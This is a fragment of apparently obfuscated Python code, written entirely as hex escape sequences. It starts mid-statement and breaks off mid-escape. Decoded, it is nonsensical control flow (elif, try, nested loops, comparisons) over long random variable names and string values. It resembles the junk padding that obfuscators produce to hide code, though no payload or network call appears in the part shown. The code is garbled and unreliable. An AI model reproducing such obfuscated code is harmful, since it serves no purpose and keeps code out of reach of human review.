\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x69\x66\x20\x67\x72\x72\x69\x50\x4a\x51\x51\x50\x6e\x49\x50\x79\x4c\x45\x74\x65\x75\x6b\x69\x73\x59\x43\x52\x79\x53\x71\x58\x50\x6d\x61\x48\x76\x76\x44\x75\x66\x44\x56\x79\x6f\x44\x43\x44\x53\x54\x77\x42\x52\x47\x43\x6f\x47\x47\x4e\x45\x51\x47\x76\x74\x49\x43\x73\x51\x48\x53\x56\x70\x54\x43\x43\x50\x46\x46\x45\x79\x47\x44\x50\x44\x48\x57\x59\x4c\x49\x43\x42\x53\x50\x43\x43\x46\x46\x44\x47\x50\x49\x7a\x74\x74\x67\x4a\x6c\x4b\x4a\x45\x76\x69\x6d\x4a\x48\x47\x4f\x6e\x70\x41\x52\x49\x45\x4e\x77\x43\x51\x4e\x75\x6a\x53\x20\x3d\x3d\x20\x51\x62\x41\x52\x52\x6c\x6f\x50\x77\x6f\x71\x54\x73\x53\x52\x47\x51\x79\x76\x43\x52\x51\x50\x52\x7a\x45\x79\x51\x75\x70\x4e\x77\x42\x4d\x61\x45\x41\x76\x79\x76\x41\x4f\x59\x42\x75\x75\x53\x4a\x76\x5a\x79\x7a\x49\x7a\x51\x79\x51\x51\x53\x79\x51\x50\x45\x44\x72\x57\x77\x4f\x6b\x42\x7a\x75\x79\x41\x71\x46\x4a\x48\x4e\x41\x78\x70\x47\x42\x44\x77\x76\x45\x7a\x6a\x41\x59\x43\x53\x74\x74\x77\x50\x70\x53\x4a\x74\x46\x46\x4c\x65\x48\x47\x7a\x42\x49\x57\x53\x7a\x6d\x51\x53\x6e\x4a\x52\x56\x46\x45\x48\x74\x44\x76\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x51\x62\x41\x52\x52\x6c\x6f\x50\x77\x6f\x71\x54\x73\x53\x52\x47\x51\x79\x76\x43\x52\x51\x50\x52\x7a\x45\x79\x51\x75\x70\x4e\x77\x42\x4d\x61\x45\x41\x76\x79\x76\x41\x4f\x59\x42\x75\x75\x53\x4a\x76\x5a\x79\x7a\x49\x7a\x51\x79\x51\x51\x53\x79\x51\x50\x45\x44\x72\x57\x77\x4f\x6b\x42\x7a\x75\x79\x41\x71\x46\x4a\x48\x4e\x41\x78\x70\x47\x42\x44\x77\x76\x45\x7a\x6a\x41\x59\x43\x53\x74\x74\x77\x50\x70\x53\x4a\x74\x46\x46\x4c\x65\x48\x47\x7a\x42\x49\x57\x53\x7a\x6d\x51\x53\x6e\x4a\x52\x56\x46\x45\x48\x74\x44\x76\x20\x3d\x20\x70\x58\x4c\x50\x46\x59\x4f\x74\x50\x43\x6e\x49\x67\x75\x6c\x55\x6e\x71\x49\x41\x70\x46\x74\x46\x50\x59\x70\x47\x49\x49\x43\x78\x41\x78\x53\x48\x47\x47\x6c\x53\x4a\x41\x48\x55\x48\x76\x47\x75\x48\x4a\x4a\x47\x54\x50\x44\x41\x51\x6b\x56\x46\x46\x71\x46\x41\x45\x51\x53\x4d\x6e\x47\x52\x74\x47\x48\x50\x70\x51\x42\x49\x77\x65\x4a\x46\x42\x4f\x52\x51\x52\x45\x49\x67\x6f\x4a\x79\x49\x74\x49\x6d\x43\x6c\x53\x52\x49\x77\x47\x5a\x4a\x41\x44\x58\x5a\x49\x7a\x70\x57\x57\x55\x52\x53\x44\x4a\x57\x4e\x53\x72\x56\x4c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x58\x4c\x50\x46\x59\x4f\x74\x50\x43\x6e\x49\x67\x75\x6c\x55\x6e\x71\x49\x41\x70\x46\x74\x46\x50\x59\x70\x47\x49\x49\x43\x78\x41\x78\x53\x48\x47\x47\x6c\x53\x4a\x41\x48\x55\x48\x76\x47\x75\x48\x4a\x4a\x47\x54\x50\x44\x41\x51\x6b\x56\x46\x46\x71\x46\x41\x45\x51\x53\x4d\x6e\x47\x52\x74\x47\x48\x50\x70\x51\x42\x49\x77\x65\x4a\x46\x42\x4f\x52\x51\x52\x45\x49\x67\x6f\x4a\x79\x49\x74\x49\x6d\x43\x6c\x53\x52\x49\x77\x47\x5a\x4a\x41\x44\x58\x5a\x49\x7a\x70\x57\x57\x55\x52\x53\x44\x4a\x57\x4e\x53\x72\x56\x4c\x20\x3d\x20\x51\x62\x41\x52\x52\x6c\x6f\x50\x77\x6f\x71\x54\x73\x53\x52\x47\x51\x79\x76\x43\x52\x51\x50\x52\x7a\x45\x79\x51\x75\x70\x4e\x77\x42\x4d\x61\x45\x41\x76\x79\x76\x41\x4f\x59\x42\x75\x75\x53\x4a\x76\x5a\x79\x7a\x49\x7a\x51\x79\x51\x51\x53\x79\x51\x50\x45\x44\x72\x57\x77\x4f\x6b\x42\x7a\x75\x79\x41\x71\x46\x4a\x48\x4e\x41\x78\x70\x47\x42\x44\x77\x76\x45\x7a\x6a\x41\x59\x43\x53\x74\x74\x77\x50\x70\x53\x4a\x74\x46\x46\x4c\x65\x48\x47\x7a\x42\x49\x57\x53\x7a\x6d\x51\x53\x6e\x4a\x52\x56\x46\x45\x48\x74\x44\x76\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x65\x6c\x73\x65\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x58\x4c\x50\x46\x59\x4f\x74\x50\x43\x6e\x49\x67\x75\x6c\x55\x6e\x71\x49\x41\x70\x46\x74\x46\x50\x59\x70\x47\x49\x49\x43\x78\x41\x78\x53\x48\x47\x47\x6c\x53\x4a\x41\x48\x55\x48\x76\x47\x75\x48\x4a\x4a\x47\x54\x50\x44\x41\x51\x6b\x56\x46\x46\x71\x46\x41\x45\x51\x53\x4d\x6e\x47\x52\x74\x47\x48\x50\x70\x51\x42\x49\x77\x65\x4a\x46\x42\x4f\x52\x51\x52\x45\x49\x67\x6f\x4a\x79\x49\x74\x49\x6d\x43\x6c\x53\x52\x49\x77\x47\x5a\x4a\x41\x44\x58\x5a\x49\x7a\x70\x57\x57\x55\x52\x53\x44\x4a\x57\x4e\x53\x72\x56\x4c\x20\x3d\x20\x53\x48\x6a\x6e\x70\x43\x49\x48\x4f\x74\x41\x43\x58\x48\x4a\x47\x74\x55\x44\x46\x76\x49\x45\x73\x7a\x50\x48\x62\x7a\x4e\x4e\x6a\x48\x73\x51\x65\x52\x52\x46\x69\x4f\x53\x72\x41\x46\x4a\x46\x4d\x49\x44\x50\x42\x49\x78\x47\x53\x51\x7a\x48\x41\x43\x53\x42\x41\x45\x74\x6d\x73\x53\x45\x51\x4a\x44\x72\x53\x50\x4a\x43\x6c\x7a\x4a\x53\x4f\x7a\x4a\x44\x53\x6f\x46\x44\x43\x51\x4a\x53\x53\x53\x72\x76\x4b\x52\x66\x7a\x44\x54\x45\x70\x48\x76\x6f\x45\x4a\x79\x45\x45\x75\x7a\x41\x46\x46\x48\x44\x79\x79\x48\x6f\x56\x7a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x72\x65\x61\x6b\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x74\x72\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x44\x48\x49\x4e\x45\x5a\x41\x49\x47\x71\x77\x6b\x46\x42\x53\x43\x6a\x73\x4e\x54\x61\x47\x74\x52\x53\x45\x52\x53\x55\x45\x41\x54\x44\x44\x45\x7a\x64\x44\x46\x52\x4e\x69\x41\x45\x41\x45\x76\x69\x75\x4a\x6e\x51\x58\x4a\x51\x46\x77\x45\x78\x47\x75\x51\x45\x42\x6f\x79\x44\x58\x50\x46\x49\x4f\x67\x55\x4a\x44\x43\x52\x49\x49\x76\x76\x50\x49\x44\x4a\x49\x45\x52\x5a\x43\x52\x78\x52\x50\x56\x44\x74\x49\x55\x46\x6b\x4a\x78\x6a\x75\x7a\x4a\x4a\x75\x42\x79\x52\x49\x43\x6c\x49\x41\x6b\x46\x6f\x46\x51\x54\x49\x70\x78\x20\x3d\x20\x27\x53\x51\x69\x41\x46\x69\x70\x79\x46\x4a\x48\x48\x74\x49\x51\x6b\x54\x63\x4e\x43\x79\x47\x6b\x45\x41\x4d\x46\x53\x6b\x50\x5a\x43\x50\x7a\x7a\x4a\x42\x7a\x41\x7a\x43\x74\x65\x47\x42\x49\x52\x75\x43\x44\x6f\x7a\x77\x6b\x48\x53\x49\x41\x42\x7a\x49\x79\x52\x6c\x50\x77\x52\x72\x53\x58\x5a\x70\x45\x5a\x4f\x65\x50\x77\x45\x4a\x6f\x47\x4a\x4c\x69\x48\x72\x45\x56\x47\x4e\x53\x71\x52\x48\x46\x73\x76\x52\x70\x51\x53\x7a\x7a\x49\x41\x66\x46\x53\x51\x48\x6e\x76\x4c\x41\x54\x41\x77\x44\x42\x44\x78\x49\x54\x48\x48\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6e\x45\x49\x72\x45\x79\x4a\x7a\x72\x6d\x50\x7a\x46\x79\x70\x75\x79\x58\x70\x76\x74\x42\x46\x51\x69\x55\x72\x46\x5a\x65\x6a\x48\x47\x52\x53\x74\x77\x7a\x78\x49\x51\x63\x45\x42\x41\x42\x78\x79\x53\x4a\x71\x41\x44\x72\x7a\x70\x50\x6f\x45\x76\x4a\x7a\x4d\x51\x43\x4f\x51\x69\x52\x53\x6c\x45\x57\x75\x44\x59\x48\x52\x6d\x72\x66\x65\x43\x41\x43\x44\x77\x7a\x42\x6a\x68\x47\x49\x48\x77\x45\x79\x52\x74\x74\x51\x51\x43\x45\x69\x47\x51\x4a\x5a\x43\x52\x4c\x65\x75\x47\x78\x42\x45\x51\x46\x4a\x46\x6c\x79\x4f\x78\x20\x3d\x20\x27\x74\x54\x43\x4f\x75\x57\x51\x49\x46\x7a\x41\x6e\x48\x72\x4e\x53\x51\x5a\x73\x6e\x71\x4c\x59\x62\x45\x52\x52\x50\x56\x6c\x47\x51\x42\x49\x44\x4a\x4d\x50\x47\x52\x48\x73\x64\x75\x6e\x4e\x4a\x49\x77\x42\x7a\x44\x70\x46\x6c\x70\x77\x52\x50\x4d\x7a\x74\x6c\x47\x48\x4a\x6b\x4f\x46\x73\x75\x6f\x61\x6e\x69\x79\x77\x49\x59\x71\x4e\x45\x61\x6e\x70\x54\x79\x41\x52\x75\x65\x73\x4f\x43\x78\x43\x51\x51\x4a\x7a\x6b\x56\x73\x76\x77\x53\x70\x44\x75\x52\x41\x51\x7a\x69\x48\x4a\x7a\x58\x54\x79\x4a\x53\x76\x6a\x6e\x79\x65\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x53\x6c\x47\x45\x6a\x47\x49\x41\x4d\x78\x56\x4a\x48\x75\x53\x49\x4a\x7a\x4a\x6c\x72\x49\x77\x4a\x77\x77\x77\x4a\x41\x75\x54\x79\x77\x50\x79\x46\x75\x46\x42\x74\x52\x7a\x4d\x43\x6f\x73\x72\x53\x49\x4a\x53\x76\x78\x41\x50\x45\x7a\x47\x49\x75\x4a\x41\x56\x53\x4a\x73\x6b\x70\x57\x41\x71\x52\x74\x50\x78\x44\x6e\x76\x41\x43\x75\x6c\x48\x47\x6c\x6f\x47\x56\x41\x50\x41\x7a\x45\x67\x4b\x49\x7a\x50\x56\x41\x44\x45\x4f\x6e\x42\x78\x7a\x42\x46\x6d\x43\x45\x52\x47\x6a\x6f\x49\x45\x52\x6a\x45\x69\x7a\x76\x78\x6c\x79\x20\x3d\x20\x27\x75\x49\x43\x42\x49\x41\x76\x72\x6e\x70\x75\x52\x69\x48\x73\x57\x46\x4c\x76\x7a\x4e\x4e\x47\x49\x43\x4a\x43\x4a\x73\x43\x46\x48\x41\x75\x77\x41\x4d\x58\x44\x44\x41\x6f\x51\x49\x77\x6a\x6d\x42\x46\x6d\x69\x49\x46\x72\x79\x47\x75\x66\x6c\x45\x77\x75\x6f\x7a\x76\x4d\x47\x52\x4a\x49\x46\x49\x45\x41\x53\x79\x52\x44\x71\x4f\x75\x70\x49\x44\x43\x79\x44\x67\x75\x58\x52\x41\x78\x79\x6e\x78\x44\x7a\x50\x52\x6e\x53\x71\x74\x76\x77\x48\x43\x52\x51\x78\x70\x78\x48\x53\x4e\x49\x42\x48\x68\x55\x71\x6a\x43\x47\x49\x44\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x71\x43\x4a\x6c\x75\x71\x53\x53\x6a\x47\x52\x42\x76\x41\x7a\x73\x6b\x46\x48\x70\x4a\x53\x48\x51\x42\x55\x45\x6b\x77\x52\x50\x42\x47\x6f\x79\x7a\x47\x7a\x64\x53\x43\x52\x65\x51\x53\x41\x45\x4f\x6e\x57\x50\x76\x48\x79\x4d\x79\x47\x50\x48\x44\x43\x53\x50\x76\x69\x45\x71\x53\x77\x47\x6e\x41\x71\x4a\x72\x53\x4d\x59\x41\x52\x56\x74\x46\x4e\x4d\x43\x78\x49\x75\x4e\x50\x4e\x50\x53\x45\x41\x52\x4a\x43\x77\x70\x53\x79\x50\x6d\x51\x44\x79\x43\x4d\x52\x46\x52\x49\x52\x55\x77\x4a\x45\x48\x45\x59\x75\x47\x50\x77\x77\x20\x3d\x20\x27\x43\x78\x4e\x6f\x6e\x78\x66\x49\x55\x50\x6a\x4d\x58\x44\x55\x4d\x77\x50\x54\x72\x41\x4f\x50\x49\x42\x46\x4a\x59\x76\x4e\x78\x6f\x42\x70\x46\x4d\x74\x42\x76\x51\x53\x51\x45\x77\x41\x76\x75\x4f\x76\x51\x7a\x71\x79\x4c\x4c\x50\x45\x52\x4e\x48\x44\x45\x7a\x56\x46\x73\x6d\x70\x4d\x79\x48\x4f\x43\x50\x42\x54\x51\x49\x53\x43\x46\x53\x79\x51\x66\x7a\x6a\x78\x6f\x42\x44\x52\x43\x48\x4f\x76\x77\x59\x6c\x44\x7a\x6a\x41\x53\x4c\x79\x52\x58\x54\x4c\x51\x77\x41\x6e\x41\x49\x70\x52\x67\x75\x45\x76\x7a\x50\x74\x45\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x79\x42\x79\x76\x75\x7a\x6b\x44\x7a\x49\x6f\x78\x47\x50\x4e\x48\x53\x70\x54\x79\x76\x51\x4f\x77\x55\x7a\x46\x50\x41\x70\x4a\x75\x42\x43\x75\x53\x68\x49\x4a\x69\x74\x78\x69\x71\x70\x44\x78\x65\x50\x69\x70\x4e\x7a\x4c\x7a\x74\x45\x74\x43\x41\x48\x6f\x55\x78\x56\x44\x78\x4e\x75\x6a\x43\x7a\x69\x79\x5a\x52\x54\x74\x52\x53\x42\x47\x6f\x6b\x49\x4d\x48\x6e\x72\x43\x4d\x75\x7a\x51\x76\x70\x6e\x42\x46\x4c\x53\x74\x71\x49\x47\x4a\x66\x78\x77\x64\x6e\x6d\x6b\x76\x72\x53\x79\x78\x74\x5a\x4d\x79\x78\x41\x73\x42\x4f\x20\x3d\x20\x27\x53\x77\x71\x4a\x4f\x45\x4e\x45\x4a\x71\x73\x74\x73\x48\x74\x4a\x53\x54\x53\x55\x4a\x52\x75\x46\x70\x46\x46\x67\x73\x78\x58\x71\x70\x6b\x49\x75\x41\x7a\x6d\x71\x4d\x50\x55\x74\x55\x51\x48\x41\x41\x6c\x48\x72\x4e\x45\x6d\x76\x46\x43\x48\x73\x43\x55\x53\x52\x48\x42\x4a\x79\x50\x4e\x77\x46\x77\x78\x48\x6b\x4a\x6d\x47\x7a\x71\x50\x42\x79\x71\x54\x6f\x48\x47\x6c\x43\x47\x44\x75\x44\x4a\x48\x52\x6b\x4a\x51\x51\x53\x4a\x42\x68\x4d\x4f\x78\x51\x4a\x42\x43\x47\x4a\x77\x49\x44\x42\x48\x59\x48\x72\x46\x45\x48\x52\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x6e\x67\x4e\x73\x4a\x42\x44\x74\x53\x4c\x53\x79\x55\x41\x76\x4a\x78\x52\x51\x41\x43\x55\x4a\x48\x50\x41\x42\x63\x7a\x48\x6f\x50\x47\x42\x51\x50\x46\x55\x41\x4f\x7a\x6a\x42\x42\x53\x43\x58\x43\x52\x46\x45\x41\x67\x73\x62\x4e\x50\x74\x47\x73\x50\x6e\x51\x52\x6f\x52\x49\x6e\x52\x75\x51\x42\x45\x48\x53\x44\x45\x77\x7a\x74\x7a\x7a\x4a\x72\x63\x4e\x77\x46\x47\x52\x59\x49\x4a\x79\x46\x56\x71\x43\x54\x57\x69\x46\x47\x6e\x77\x49\x52\x4f\x53\x79\x73\x50\x79\x72\x71\x45\x53\x48\x6b\x50\x68\x6e\x6f\x53\x49\x4d\x53\x20\x3d\x20\x27\x6e\x6b\x77\x77\x41\x79\x52\x75\x47\x77\x44\x75\x6b\x51\x51\x44\x52\x51\x68\x43\x4a\x6a\x71\x53\x46\x41\x46\x50\x6b\x74\x53\x78\x42\x44\x69\x69\x69\x45\x75\x52\x6b\x49\x72\x6f\x46\x6c\x44\x6b\x71\x6d\x49\x55\x52\x48\x76\x51\x42\x74\x4a\x41\x42\x43\x6e\x43\x7a\x41\x56\x51\x48\x70\x47\x73\x6d\x47\x6e\x45\x6f\x47\x4a\x4a\x51\x43\x53\x49\x53\x79\x53\x50\x77\x42\x79\x54\x43\x6b\x6f\x6e\x79\x50\x52\x75\x7a\x75\x70\x4a\x75\x46\x78\x44\x75\x50\x79\x49\x47\x6a\x68\x77\x48\x79\x41\x43\x73\x47\x71\x76\x50\x70\x59\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x70\x68\x76\x49\x63\x65\x49\x49\x44\x55\x5a\x54\x6d\x77\x50\x44\x73\x73\x57\x51\x4a\x71\x49\x75\x4f\x59\x52\x4a\x67\x77\x77\x6b\x53\x49\x7a\x51\x4a\x41\x6d\x43\x42\x6d\x47\x43\x47\x4f\x6b\x47\x4d\x75\x56\x53\x46\x54\x77\x66\x42\x76\x46\x50\x43\x42\x50\x42\x52\x70\x59\x47\x76\x48\x4f\x6c\x49\x6e\x42\x42\x46\x46\x49\x48\x57\x48\x78\x43\x44\x50\x78\x44\x53\x49\x41\x46\x49\x4a\x52\x74\x4a\x44\x48\x48\x64\x4d\x42\x50\x4a\x6f\x59\x73\x72\x5a\x58\x50\x42\x46\x70\x48\x50\x41\x77\x77\x42\x6f\x76\x73\x49\x4d\x66\x20\x3d\x20\x5b\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x53\x51\x69\x41\x46\x69\x70\x79\x46\x4a\x48\x48\x74\x49\x51\x6b\x54\x63\x4e\x43\x79\x47\x6b\x45\x41\x4d\x46\x53\x6b\x50\x5a\x43\x50\x7a\x7a\x4a\x42\x7a\x41\x7a\x43\x74\x65\x47\x42\x49\x52\x75\x43\x44\x6f\x7a\x77\x6b\x48\x53\x49\x41\x42\x7a\x49\x79\x52\x6c\x50\x77\x52\x72\x53\x58\x5a\x70\x45\x5a\x4f\x65\x50\x77\x45\x4a\x6f\x47\x4a\x4c\x69\x48\x72\x45\x56\x47\x4e\x53\x71\x52\x48\x46\x73\x76\x52\x70\x51\x53\x7a\x7a\x49\x41\x66\x46\x53\x51\x48\x6e\x76\x4c\x41\x54\x41\x77\x44\x42\x44\x78\x49\x54\x48\x48\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x75\x49\x43\x42\x49\x41\x76\x72\x6e\x70\x75\x52\x69\x48\x73\x57\x46\x4c\x76\x7a\x4e\x4e\x47\x49\x43\x4a\x43\x4a\x73\x43\x46\x48\x41\x75\x77\x41\x4d\x58\x44\x44\x41\x6f\x51\x49\x77\x6a\x6d\x42\x46\x6d\x69\x49\x46\x72\x79\x47\x75\x66\x6c\x45\x77\x75\x6f\x7a\x76\x4d\x47\x52\x4a\x49\x46\x49\x45\x41\x53\x79\x52\x44\x71\x4f\x75\x70\x49\x44\x43\x79\x44\x67\x75\x58\x52\x41\x78\x79\x6e\x78\x44\x7a\x50\x52\x6e\x53\x71\x74\x76\x77\x48\x43\x52\x51\x78\x70\x78\x48\x53\x4e\x49\x42\x48\x68\x55\x71\x6a\x43\x47\x49\x44\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x53\x77\x71\x4a\x4f\x45\x4e\x45\x4a\x71\x73\x74\x73\x48\x74\x4a\x53\x54\x53\x55\x4a\x52\x75\x46\x70\x46\x46\x67\x73\x78\x58\x71\x70\x6b\x49\x75\x41\x7a\x6d\x71\x4d\x50\x55\x74\x55\x51\x48\x41\x41\x6c\x48\x72\x4e\x45\x6d\x76\x46\x43\x48\x73\x43\x55\x53\x52\x48\x42\x4a\x79\x50\x4e\x77\x46\x77\x78\x48\x6b\x4a\x6d\x47\x7a\x71\x50\x42\x79\x71\x54\x6f\x48\x47\x6c\x43\x47\x44\x75\x44\x4a\x48\x52\x6b\x4a\x51\x51\x53\x4a\x42\x68\x4d\x4f\x78\x51\x4a\x42\x43\x47\x4a\x77\x49\x44\x42\x48\x59\x48\x72\x46\x45\x48\x52\x27\x2c\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x27\x45\x76\x77\x70\x45\x57\x41\x41\x51\x74\x47\x45\x78\x70\x74\x67\x46\x63\x58\x47\x6b\x4f\x56\x44\x4f\x7a\x72\x69\x49\x6a\x63\x45\x53\x78\x55\x57\x52\x65\x49\x76\x41\x4e\x4a\x43\x4d\x58\x71\x52\x76\x77\x4a\x77\x44\x4a\x46\x65\x77\x6a\x4a\x4a\x6d\x4e\x77\x53\x50\x44\x71\x67\x42\x58\x48\x66\x78\x6a\x6c\x67\x41\x4d\x46\x79\x73\x6a\x79\x6f\x6f\x49\x41\x6f\x69\x78\x44\x51\x75\x72\x70\x58\x76\x75\x49\x51\x44\x4e\x70\x42\x65\x52\x78\x53\x44\x4a\x44\x7a\x75\x65\x76\x73\x7a\x47\x42\x77\x79\x64\x4a\x53\x6d\x6b\x7a\x27\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x5d\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x44\x48\x49\x4e\x45\x5a\x41\x49\x47\x71\x77\x6b\x46\x42\x53\x43\x6a\x73\x4e\x54\x61\x47\x74\x52\x53\x45\x52\x53\x55\x45\x41\x54\x44\x44\x45\x7a\x64\x44\x46\x52\x4e\x69\x41\x45\x41\x45\x76\x69\x75\x4a\x6e\x51\x58\x4a\x51\x46\x77\x45\x78\x47\x75\x51\x45\x42\x6f\x79\x44\x58\x50\x46\x49\x4f\x67\x55\x4a\x44\x43\x52\x49\x49\x76\x76\x50\x49\x44\x4a\x49\x45\x52\x5a\x43\x52\x78\x52\x50\x56\x44\x74\x49\x55\x46\x6b\x4a\x78\x6a\x75\x7a\x4a\x4a\x75\x42\x79\x52\x49\x43\x6c\x49\x41\x6b\x46\x6f\x46\x51\x54\x49\x70\x78\x20\x69\x6e\x20\x6e\x67\x4e\x73\x4a\x42\x44\x74\x53\x4c\x53\x79\x55\x41\x76\x4a\x78\x52\x51\x41\x43\x55\x4a\x48\x50\x41\x42\x63\x7a\x48\x6f\x50\x47\x42\x51\x50\x46\x55\x41\x4f\x7a\x6a\x42\x42\x53\x43\x58\x43\x52\x46\x45\x41\x67\x73\x62\x4e\x50\x74\x47\x73\x50\x6e\x51\x52\x6f\x52\x49\x6e\x52\x75\x51\x42\x45\x48\x53\x44\x45\x77\x7a\x74\x7a\x7a\x4a\x72\x63\x4e\x77\x46\x47\x52\x59\x49\x4a\x79\x46\x56\x71\x43\x54\x57\x69\x46\x47\x6e\x77\x49\x52\x4f\x53\x79\x73\x50\x79\x72\x71\x45\x53\x48\x6b\x50\x68\x6e\x6f\x53\x49\x4d\x53\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x66\x6f\x72\x20\x78\x6e\x45\x49\x72\x45\x79\x4a\x7a\x72\x6d\x50\x7a\x46\x79\x70\x75\x79\x58\x70\x76\x74\x42\x46\x51\x69\x55\x72\x46\x5a\x65\x6a\x48\x47\x52\x53\x74\x77\x7a\x78\x49\x51\x63\x45\x42\x41\x42\x78\x79\x53\x4a\x71\x41\x44\x72\x7a\x70\x50\x6f\x45\x76\x4a\x7a\x4d\x51\x43\x4f\x51\x69\x52\x53\x6c\x45\x57\x75\x44\x59\x48\x52\x6d\x72\x66\x65\x43\x41\x43\x44\x77\x7a\x42\x6a\x68\x47\x49\x48\x77\x45\x79\x52\x74\x74\x51\x51\x43\x45\x69\x47\x51\x4a\x5a\x43\x52\x4c\x65\x75\x47\x78\x42\x45\x51\x46\x4a\x46\x6c\x79\x4f\x78\x20\x69\x6e\x20\x53\x6c\x47\x45\x6a\x47\x49\x41\x4d\x78\x56\x4a\x48\x75\x53\x49\x4a\x7a\x4a\x6c\x72\x49\x77\x4a\x77\x77\x77\x4a\x41\x75\x54\x79\x77\x50\x79\x46\x75\x46\x42\x74\x52\x7a\x4d\x43\x6f\x73\x72\x53\x49\x4a\x53\x76\x78\x41\x50\x45\x7a\x47\x49\x75\x4a\x41\x56\x53\x4a\x73\x6b\x70\x57\x41\x71\x52\x74\x50\x78\x44\x6e\x76\x41\x43\x75\x6c\x48\x47\x6c\x6f\x47\x56\x41\x50\x41\x7a\x45\x67\x4b\x49\x7a\x50\x56\x41\x44\x45\x4f\x6e\x42\x78\x7a\x42\x46\x6d\x43\x45\x52\x47\x6a\x6f\x49\x45\x52\x6a\x45\x69\x7a\x76\x78\x6c\x79\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x69\x66\x20\x71\x43\x4a\x6c\x75\x71\x53\x53\x6a\x47\x52\x42\x76\x41\x7a\x73\x6b\x46\x48\x70\x4a\x53\x48\x51\x42\x55\x45\x6b\x77\x52\x50\x42\x47\x6f\x79\x7a\x47\x7a\x64\x53\x43\x52\x65\x51\x53\x41\x45\x4f\x6e\x57\x50\x76\x48\x79\x4d\x79\x47\x50\x48\x44\x43\x53\x50\x76\x69\x45\x71\x53\x77\x47\x6e\x41\x71\x4a\x72\x53\x4d\x59\x41\x52\x56\x74\x46\x4e\x4d\x43\x78\x49\x75\x4e\x50\x4e\x50\x53\x45\x41\x52\x4a\x43\x77\x70\x53\x79\x50\x6d\x51\x44\x79\x43\x4d\x52\x46\x52\x49\x52\x55\x77\x4a\x45\x48\x45\x59\x75\x47\x50\x77\x77\x20\x3d\x3d\x20\x79\x42\x79\x76\x75\x7a\x6b\x44\x7a\x49\x6f\x78\x47\x50\x4e\x48\x53\x70\x54\x79\x76\x51\x4f\x77\x55\x7a\x46\x50\x41\x70\x4a\x75\x42\x43\x75\x53\x68\x49\x4a\x69\x74\x78\x69\x71\x70\x44\x78\x65\x50\x69\x70\x4e\x7a\x4c\x7a\x74\x45\x74\x43\x41\x48\x6f\x55\x78\x56\x44\x78\x4e\x75\x6a\x43\x7a\x69\x79\x5a\x52\x54\x74\x52\x53\x42\x47\x6f\x6b\x49\x4d\x48\x6e\x72\x43\x4d\x75\x7a\x51\x76\x70\x6e\x42\x46\x4c\x53\x74\x71\x49\x47\x4a\x66\x78\x77\x64\x6e\x6d\x6b\x76\x72\x53\x79\x78\x74\x5a\x4d\x79\x78\x41\x73\x42\x4f\x3a\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x78\x6e\x45\x49\x72\x45\x79\x4a\x7a\x72\x6d\x50\x7a\x46\x79\x70\x75\x79\x58\x70\x76\x74\x42\x46\x51\x69\x55\x72\x46\x5a\x65\x6a\x48\x47\x52\x53\x74\x77\x7a\x78\x49\x51\x63\x45\x42\x41\x42\x78\x79\x53\x4a\x71\x41\x44\x72\x7a\x70\x50\x6f\x45\x76\x4a\x7a\x4d\x51\x43\x4f\x51\x69\x52\x53\x6c\x45\x57\x75\x44\x59\x48\x52\x6d\x72\x66\x65\x43\x41\x43\x44\x77\x7a\x42\x6a\x68\x47\x49\x48\x77\x45\x79\x52\x74\x74\x51\x51\x43\x45\x69\x47\x51\x4a\x5a\x43\x52\x4c\x65\x75\x47\x78\x42\x45\x51\x46\x4a\x46\x6c\x79\x4f\x78\x20\x3d\x20\x44\x48\x49\x4e\x45\x5a\x41\x49\x47\x71\x77\